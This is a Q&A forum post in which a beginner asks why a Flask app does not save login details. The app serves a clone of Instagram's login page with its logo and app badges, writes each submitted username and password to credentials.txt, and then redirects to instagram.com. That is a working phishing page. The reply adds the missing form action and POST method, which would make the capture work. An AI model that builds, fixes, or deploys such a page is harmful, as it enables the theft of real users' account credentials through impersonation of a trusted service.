-1

Title basically explains it. I'm messing around with flask on the localhost, and I was wondering how to write the credentials given in the html form to a txt file. Here is the flask app code and the html:

from flask import Flask, render_template, request, redirect

app = Flask(__name__, static_folder='static', template_folder='templates')


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    print(f'Username: {username}\nPassword: {password}')
    with open('credentials.txt', 'w') as f:
        f.write(f'Username: {username}\nPassword: {password}')
    return redirect("https://www.instagram.com/")


if __name__ == '__main__':
    app.run(debug=True)

and here is the html:

<head>
 <link rel="stylesheet" type="text/css" href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
  <span id="root">
    <section class="section-all">

      <!-- 1-Role Main -->
      <main class="main" role="main">
        <div class="wrapper">
          <article class="article">
            <div class="content">
              <div class="login-box">
                <div class="header">
                  <img class="logo" src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/Instagram_logo.svg/1200px-Instagram_logo.svg.png" alt="Instagram">
                </div><!-- Header end -->
                <div class="form-wrap">
                  <form class="form" onsubmit="printValues(event)">

                    <div class="input-box">
                      <input type="text" id="name" aria-describedby="" placeholder="Phone number, username, or email" aria-required="true" maxlength="30" autocapitalize="off" autocorrect="off" name="username" value="" required>
                    </div>  

                    <div class="input-box">
                      <input type="password" name="password" id="password" placeholder="Password" aria-describedby="" maxlength="30" aria-required="true" autocapitalize="off" autocorrect="off" required>
                    </div>  

                    <span class="button-box">
                      <button class="btn" type="submit" name="submit">Log in</button>
                    </span>  

                    <a class="forgot" href="">Forgot password?</a>
                  </form>
                </div> <!-- Form-wrap end -->
              </div> <!-- Login-box end -->

              <div class="login-box">
                <p class="text">Don't have an account?<a href="#">Sign up</a></p>
              </div> <!-- Signup-box end -->

              <div class="app">
                <p>Get the app.</p>
                <div class="app-img">
                  <a href="https://itunes.apple.com/app/instagram/id389801252?pt=428156&amp;ct=igweb.loginPage.badge&amp;mt=8">
                    <img src="https://www.instagram.com/static/images/appstore-install-badges/badge_ios_english-en.png/4b70f6fae447.png" >
                  </a>
                  <a href="https://play.google.com/store/apps/details?id=com.instagram.android&amp;referrer=utm_source%3Dinstagramweb%26utm_campaign%3DloginPage%26utm_medium%3Dbadge">
                    <img src="https://www.instagram.com/static/images/appstore-install-badges/badge_android_english-en.png/f06b908907d5.png">
                  </a>  
                </div>  <!-- App-img end-->
              </div> <!-- App end -->
            </div> <!-- Content end -->
          </article>
        </div> <!-- Wrapper end -->
      </main>

      <!-- 2-Role Footer -->
      <footer class="footer" role="contentinfo">
        <div class="footer-container">

          <nav class="footer-nav" role="navigation">
            <ul>
              <li><a href="">About Us</a></

I don't really care about it printing to the console (which it doesn't do). I'm a newbie, so I don't know how to integrate them. Any help is appreciated, thanks!!

davidism
  • 121,510
  • 29
  • 395
  • 339
Noah Brown
  • 123
  • 1
  • 3
  • 8

1 Answers1

1

Within your definition for the form, I think two attributes are missing.

In order for your form to be submitted to the login route, you should specify the URL in the action attribute. If this is not the case, the form data is sent to the same route that was used to display the form.
Furthermore, the form is sent via GET request unless something else is defined with the method attribute. So to avoid an error and send the data in the body instead of as a URL parameter, you should specify POST.

<form class="form" action="{{ url_for('login') }}" method="POST">
    <!-- ... -->
</form>
Detlef
  • 6,137
  • 2
  • 6
  • 24